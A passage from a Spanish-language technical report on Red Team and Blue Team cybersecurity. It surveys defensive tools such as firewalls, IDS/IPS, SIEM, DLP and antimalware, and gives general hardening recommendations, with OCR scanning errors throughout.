financieras. CIS Controls es una coleccion de mejores practicas de seguridad informatica para
mitigar los ciberataques a sistemas y redes.

De igual manera los equipos estratégicos en ciberseguridad hacen uso de SIEM o Gestion

de Eventos e Informacién de Seguridad, la cual es una herramienta de seguridad informatica
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disefiada para recopilar y analizar eventos e informacion de seguridad de diferentes fuentes y
sistemas de una organizacion en tiempo real. El objetivo principal de SIEM es proporcionar
visibilidad completa de la infraestructura de seguridad de una organizacion y detectar actividades

sospechosas o maliciosas que podrian comprometer la seguridad de la empresa.

Herramientas de Contencion de Ataques Informaticos:

Las herramientas de contencion de ataques informaticos son fundamentales para limitar el impacto
de un incidente de seguridad y prevenir que un ataque se propague a otras partes de la
infraestructura. Estas herramientas se enfocan en detener, aislar, o mitigar los efectos de un ataque
después de que ha sido detectado. Algunas se utilizan para interrumpir la actividad maliciosa, otras

para aislar sistemas comprometidos o bloquear el acceso no autorizado.

Firewalls (Cortafuegos)

e Funcion: Los firewalls son fundamentales para la contencién de ataques al controlar el
trafico de red entrante y saliente, permitiendo o bloqueando paquetes de datos segun
politicas de seguridad predefinidas.

e Uso: Los firewalls pueden configurarse para bloguear el acceso a redes especificas, limitar
el trafico a puertos no utilizados, o incluso para bloquear direcciones IP de fuentes
maliciosas.

e Ejemplos:

» pfSense (firewall de codigo abierto con capacidades avanzadas)
PfSense es un programa de codigo abierto que permite al usuario tener un firewall de

alto nivel en su computadora. PfSense permite configurar un firewall desde maquinas
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virtuales, que se puede descargar desde su sitio web oficial. Sin embargo, también se
venden dispositivos fisicos (electrodomésticos) que vienen con un sistema incorporado
y listos para funcionar. PfSense es un firewall que se ubica entre Internet y nuestros
dispositivos para detectar actividades sospechosas y bloguearlas de inmediato. Esto
puede protegernos de la mayoria de las amenazas externas (aunque también puede
haber fuentes internas de amenazas). Por este motivo, es un software o hardware
bastante til para empresas o incluso para uso personal.
» Cisco ASA
» Windows Firewall

Sistemas de Prevencion de Intrusiones (IPS) y Sistemas de Deteccidn de Intrusiones (IDS)

e Funcion: Los sistemas IDS y IPS son esenciales para detectar y prevenir ataques en tiempo
real. EI IDS monitorea el trafico y genera alertas, mientras que el IPS toma medidas activas
para detener o mitigar el ataque.

e Uso: Se utilizan para identificar patrones sospechosos o actividades andmalas y bloquear
ataques, como los de tipo DDoS, inyecciones SQL o ataques de dia cero.

e Ejemplos:

v Snort (IDS/IPS de cédigo abierto)
v’ Suricata
v Cisco Firepower
Sistemas de Informacién y Gestion de Eventos de Seguridad (SIEM)
e Funcion: Las plataformas SIEM recolectan, almacenan y analizan datos de eventos y

registros en tiempo real para detectar actividades sospechosas o maliciosas. Estas
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herramientas son clave para la contencion porque permiten identificar patrones de ataque
y coordinar respuestas.

e Uso: Ayudan a analizar eventos en tiempo real y pueden activar alertas, ademas de
proporcionar la visibilidad necesaria para tomar decisiones informadas sobre cémo
contener el ataque.

e Ejemplos:

v Splunk
v' ELK Stack (Elasticsearch, Logstash, Kibana)

v' IBM QRadar

Sistemas de Prevencion de Pérdida de Datos (DLP)

e Funcion: Las soluciones DLP ayudan a prevenir la fuga de datos, especialmente
informacidn sensible que podria ser extraida por un atacante durante un ataque.

e Uso: Configurando politicas que restringen la transferencia de informacion confidencial
fuera de la red corporativa. Si se detecta un intento de extraccion de datos, la herramienta
puede bloguear el acceso.

e Ejemplos:

v" Symantec Data Loss Prevention
v Digital Guardian

v" McAfee DLP
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Herramientas de Contencion de Malware

e Funcion: Ayudan a contener y mitigar los efectos de un ataque de malware. Estas
herramientas son Utiles cuando se detecta malware en un sistema y se necesita detener su
propagacion.

e Uso: Se utilizan para eliminar o aislar el malware, ya sea que esté en un sistema, red o
dispositivo conectado. También proporcionan herramientas para erradicar el malware sin
afectar el funcionamiento del sistema.

e Ejemplos:

» Malwarebytes (para escanear y eliminar malware)
» CrowdStrike Falcon (proteccion avanzada contra amenazas)

» Kaspersky Anti-Virus (deteccion y eliminacion de malware)

Kaspersky es una empresa global de ciberseguridad que ofrece una amplia gama de
soluciones para proteger dispositivos, redes y datos contra amenazas cibernéticas,
como malware, virus, ransomware y otras formas de ciberataques. Fundada en 1997 en
Rusia, Kaspersky es conocida por su software antivirus y otras herramientas de
seguridad informaética. La compafiia ha ganado reconocimiento internacional por su

efectividad en la deteccion y proteccion contra malware.!

Caracteristicas clave:
» Deteccion avanzada de amenazas: Utiliza tecnologias como la inteligencia artificial y

el aprendizaje automatico para identificar y detener nuevas amenazas.

! «Acerca de nosotros | Kaspersky».
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Proteccion en tiempo real: Kaspersky ofrece proteccion continua contra virus, malware,
ransomware y otras amenazas cibernéticas.

Analisis de comportamientos sospechosos: Detecta actividades sospechosas en el
sistema a través de la monitorizacion de comportamientos inusuales.

Prevencidn de fraudes y robo de datos: Protege al usuario de intentos de fraude en linea
y robo de identidad.

Kaspersky ha sido reconocido por su alta tasa de deteccion de malware y ha obtenido
excelentes calificaciones en pruebas independientes de laboratorios de seguridad, como
AV-Test y AV-Comparatives.

Sin embargo, la empresa ha estado en el centro de controversias en relacion con su
origen en Rusia y preocupaciones sobre su posible vinculacion con el gobierno ruso.
Aunque no se ha demostrado evidencia de tales vinculos, algunos gobiernos y
organizaciones han optado por evitar el uso de sus productos por razones politicas y de

seguridad.

OTRAS HERRAMIENTAS OPEN SOURCE:

Fail2Ban

o Descripcion: Fail2Ban es una herramienta de contencién de ataques de fuerza bruta que

protege sistemas contra intentos de acceso no autorizado. Se utiliza principalmente para

proteger servidores SSH, FTP, y otros servicios que podrian ser blanco de ataques de fuerza

bruta.
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Conclusiones

Existen herramientas que ayudan en cada una de las etapas del pentesting, podemos
nombrar: metasploit, nmap, openvas, asi como también servicios en linea: exploitdb y cve. El
uso combinado de estas herramientas y recursos permite a los profesionales de seguridad realizar
evaluaciones exhaustivas y efectivas de las infraestructuras. Cada herramienta cumple un papel
especifico, y su integracion en un enfoque holistico de ciberseguridad es esencial para proteger
sistemas y datos de manera efectiva. Sin embargo, es fundamental utilizarlas de manera ética y
responsable, siempre con el consentimiento adecuado y en entornos controlados.

Colombia ha establecido un marco legal robusto, incluyendo la Ley 1273 de 2009, que
tipifica delitos informaticos, y la Ley 1712 de 2014, que promueve la transparencia y el derecho
a la informacion.

En el contexto del pentesting (pruebas de penetracion), un Red Team es un grupo especial
de profesionales que simulan ataques reales contra la infraestructura de una organizacion para
evaluar su seguridad. Los miembros del Red Team actlan como atacantes maliciosos y utilizan
una combinacidn de técnicas ofensivas para probar las defensas de la organizacion.

Los hallazgos resaltan la necesidad de medidas de seguridad proactivas para los activos
de informacion, como actualizaciones periddicas de software, parches de seguridad y una mayor
concienciacion del personal, para reducir el riesgo de posibles intrusiones y proteger la
integridad de los sistemas.

Un andlisis detallado de los pasos para detectar y responder a incidentes informaticos en
tiempo real demuestra la importancia de contar con profesionales de ciberseguridad Blue Team

altamente capacitados y con las Gltimas tecnologias y herramientas. La deteccion tempranay la
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respuesta eficaz son fundamentales para reducir el impacto de los ciberataques en las
organizaciones.

Comprender la diferencia entre los equipos azules y los equipos de respuesta a incidentes
de T1 ha demostrado la importancia de la colaboracion entre diferentes grupos para fortalecer la
postura de ciberseguridad de la organizacion.

El Blue Team trabaja para prevenir incidentes de seguridad, enfocandose en la proteccion
continua y proactiva de la infraestructura. Los CSIRT, por otra parte, tienen un enfoque
reactivo, es decir, intervienen para responder y gestionar incidentes una vez identificados u
ocurridos. Ambos equipos son importantes en la ciberseguridad moderna y, a menudo, trabajan
juntos, ya que un Equipo Azul fuerte puede ayudar a reducir la cantidad de incidentes que un
CSIRT debe gestionar.

El hardening de la red es un proceso continuo que implica asegurar la infraestructura de
red a través de la configuracion adecuada de dispositivos, segmentacion, control de accesos,
actualizaciones, y monitoreo. Al implementar estas practicas, la red serd& mucho mas resistente a

ciberataques y accesos no autorizados.
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Recomendaciones

Aspectos que aporten al desarrollo de estrategias de Red Team & Blue Team.

El desarrollo de estrategias efectivas para los equipos Red Team y Blue Team se basa en
la comprension de los roles de cada uno, asi como en la integracion de buenas practicas y principios
de seguridad cibernética sin dejar de lado la parte legal. A continuacion, algunas recomendaciones
que aportaran al desarrollo de estrategias los equipos Red Team:

v Simulacion realista de amenazas (ataques avanzados dirigidos, reconocimiento
exhaustivo, explotacion de vulnerabilidades y acceso lateral): EI Red Team debe
emular tacticas y técnicas de amenazas reales, incluidas aquellas utilizadas por
actores de amenazas avanzados (APT). Esto incluye el uso de herramientas y
métodos como phishing, ingenieria social, explotacion de vulnerabilidades zero-
day, y técnicas de evasion. Antes de lanzar un ataque, el Red Team debe llevar a
cabo un analisis detallado de la red, los sistemas, las aplicaciones y los usuarios,
identificando puntos débiles en la infraestructura. Los ataques deben escalar y
moverse lateralmente a través de la red, buscando diferentes vectores para
maximizar el impacto, tal como lo harian atacantes reales.

v Pruebas de resistencia a largo plazo (Simulaciones prolongadas, persistencia en
la red): No solo realizar un ataque puntual, sino simular una campafa persistente
para evaluar la capacidad de la organizacion para detectar, responder y mitigar
ataques continuos. EIl equipo debe identificar cdmo mantener acceso a los sistemas

comprometidos, incluso después de las primeras detecciones y respuestas.
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v Colaboracion con Blue Team: Red Team debe trabajar estrechamente con el Blue
Team para ofrecer retroalimentacion constructiva sobre como mejorar las defensas
y cOmo detectar técnicas de ataque.

v" Mejora continua: Las estrategias deben basarse en las lecciones aprendidas de
ejercicios anteriores. Las simulaciones deben mejorar continuamente para

mantenerse al dia con las tacticas emergentes.

El Blue Team es responsable de defender los sistemas y responder a los ataques simulados
o reales. La efectividad de su estrategia depende de la deteccion, la respuesta y la recuperacion.
A continuacion, algunas recomendaciones que aportaran al desarrollo de estrategias los
equipos Blue Team:
v' Monitoreo y deteccion avanzada (implementacion de SIEM, Analisis de
comportamiento y deteccion de anomalias, sensibilidad al ataque)
v' Respuestas rapidas y efectivas (Planificacion de incidentes de seguridad,
deteccidn temprana y mitigacion)
v Fortalecimiento de la infraestructura (Defensas en profundidad, parcheo y
actualizaciones constantes)
v' Evaluacion constante de vulnerabilidades (pruebas de penetracion internas,
escaneo y monitoreo de vulnerabilidades)
v Cultura de concienciacion y formacion (entrenamiento del personal, simulacros

de incidentes y analisis post-mortem)
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Recomendaciones para el planteamiento de estrategias que permitan endurecer los
aspectos de seguridad en una organizacion.

El endurecimiento de la seguridad en una organizacion es fundamental para proteger sus
activos digitales, datos confidenciales y sistemas ante amenazas cibernéticas, también es
importante:

Implementar multiples capas de defensa para protegerse contra diferentes vectores de
ataque. Este enfoque asegura que, si una capa es violada, otras contindan defendiendo los sistemas,
lo podemos analizar de la siguiente manera:

e Redundancia de medidas de seguridad: Utilizar herramientas y mecanismos como
firewalls, IDS/IPS, autenticacion multifactor (MFA), cifrado de datos, entre otros, en
diferentes niveles.

e Segmentacion de la red: Dividir la red en subredes (por ejemplo, redes de administracion,
servidores, usuarios finales) para reducir la propagacion de un ataque en caso de que ocurra.

e Principio de "least privilege': Limitar los permisos y accesos de usuarios y sistemas a lo

estrictamente necesario para realizar sus tareas.

Fomentar una cultura organizacional orientada a la seguridad, involucrando a todos los
empleados en la proteccion de los sistemas y datos que incluya:
o Capacitacion continua
e Simulaciones de ataques
e Concienciacién sobre seguridad: Incentivar a los empleados a que informen sobre

comportamientos sospechosos y promuevan una actitud activa de proteccién de datos.
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Identificar y corregir vulnerabilidades de manera proactiva para evitar que los atacantes las

exploten, teniendo en cuenta las siguientes recomendaciones:

Monitoreo continuo de vulnerabilidades: Utilizar herramientas automaticas para
escanear la infraestructura en busca de vulnerabilidades conocidas y clasificarlas segin su
gravedad.

Parcheo regular: Establecer un calendario regular para aplicar parches a sistemas,
aplicaciones y hardware. Asegurarse de que las actualizaciones sean probadas en un
entorno de desarrollo antes de su despliegue en produccion.

Autenticacion multifactor (MFA

Politicas estrictas de contrasefias

Cifrado de datos: Cifrar la informacion tanto en transito (por ejemplo, mediante HTTPS)
como en reposo (en bases de datos y almacenamiento).

Clasificacion de datos: Establecer politicas claras sobre como clasificar y manejar los
datos segun su sensibilidad, aplicando controles mas estrictos para los datos mas criticos.
Destruccidén segura de datos: Asegurarse de que cuando los datos ya no sean necesarios,
se destruyan de manera segura utilizando técnicas como la eliminacion fisica de discos o

la sobreescritura de datos.

Implementar sistemas de monitoreo continuo y establecer procesos claros para detectar y

responder rapidamente a los incidentes de seguridad.

SIEM (Security Information and Event Management)
Centros de Operaciones de Seguridad (SOC)

Planes de respuesta a incidentes (IRP)
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Asegurar que solo los dispositivos y aplicaciones aprobadas se utilicen en la infraestructura

organizacional.

Politica de dispositivos mdviles (MDM): Implementar un sistema de gestion de

dispositivos moviles que controle y proteja los dispositivos que acceden a la red

corporativa, garantizando que esten protegidos con cifrado y contrasefias.

o Lista blanca de aplicaciones: Solo permitir la instalacion y ejecucion de aplicaciones
aprobadas por la organizacion, eliminando el riesgo de software malicioso 0 no autorizado.

e Control de acceso de red (NAC): Implementar soluciones que aseguren que solo los

dispositivos que cumplen con los estandares de seguridad de la organizacion puedan

conectarse a la red interna.

Desarrollar planes de contingencia para mantener la operatividad ante situaciones criticas.

e Respaldo regular de datos: Implementar un sistema de respaldo automatizado y
garantizar que los datos se respalden de manera segura, tanto en la nube como en servidores
locales.

e Planes de recuperacién ante desastres (DRP): Establecer un plan para la recuperacion
de servicios en caso de ataque cibernético, desastre natural u otra interrupcion critica.

e Pruebas de continuidad: Realizar simulacros periddicos para asegurar que la

organizacion pueda mantener operaciones durante un incidente de seguridad o desastres.
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Utilizar informacion sobre amenazas para anticipar y defenderse contra ataques dirigidos.
Integracion con fuentes de inteligencia de amenazas: Acceder a feeds de inteligencia
sobre nuevas amenazas, vulnerabilidades y campafias de ciberataques que puedan afectar
a la organizacion.

Analisis de tendencias y patrones de ataque: Utilizar herramientas de analisis para
identificar patrones de ataques y vulnerabilidades comunes, lo que permite a la

organizacion anticiparse a amenazas emergentes.

La seguridad debe ser un proceso continuo que evoluciona conforme surgen nuevas

amenazas.

Analisis post-incidente: Tras cualquier incidente de seguridad, realizar un analisis
exhaustivo para identificar qué fall6 y como mejorar las defensas.

Auditorias regulares de seguridad

Adaptacion a nuevas amenazas: Mantenerse actualizado con las Ultimas tendencias en

ciberseguridad, y ajustar las estrategias y tecnologias segun evolucionen las amenazas.

Conclusiones que permitan la construccién del conocimiento desde el enfoque de la

ciberseguridad.

El desarrollo de estrategias para los equipos Red Team y Blue Team debe enfocarse en

simulaciones realistas de ataques, monitoreo efectivo, pruebas continuas y colaboracion. A medida

gue ambos equipos se entrenan y mejoran juntos, la organizacion puede fortalecer su postura de

seguridad de manera mas efectiva, anticipando y respondiendo a las amenazas cibernéticas con

mayor eficiencia.
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A través de ejercicios colaborativos, el Red Team y el Blue Team pueden aprender
mutuamente, con el Red Team actuando como un atacante y el Blue Team defendiendo, mientras
comparten conocimientos de técnicas de ataque y defensa.

Esto mejora las capacidades de ambos equipos y contribuye a una mejor preparacion frente
a amenazas reales.

Después de simulaciones, ambas partes deben reunirse para compartir los hallazgos,
identificar fallos y trabajar en recomendaciones para mejorar las defensas.

Retroalimentacion sobre las respuestas y las tacticas empleadas durante el ejercicio ayuda
a identificar oportunidades de mejora en la infraestructura de seguridad y las habilidades del equipo
defensor.

El endurecimiento de la seguridad de una organizacion requiere un enfoque integral que
abarque desde la cultura de seguridad hasta la implementacion de tecnologias avanzadas y
procedimientos operativos. La combinacion de buenas préacticas, herramientas de Ultima
generacién, y una actitud proactiva ante la gestién de riesgos y vulnerabilidades es clave para

proteger los activos de la organizacion y minimizar la probabilidad de un ataque exitoso.
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Apéndices

Apéndice A

Enlace de video de sustentacion del informe técnico:

https://youtu.be/79H6UjIwUME
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Apéndice B
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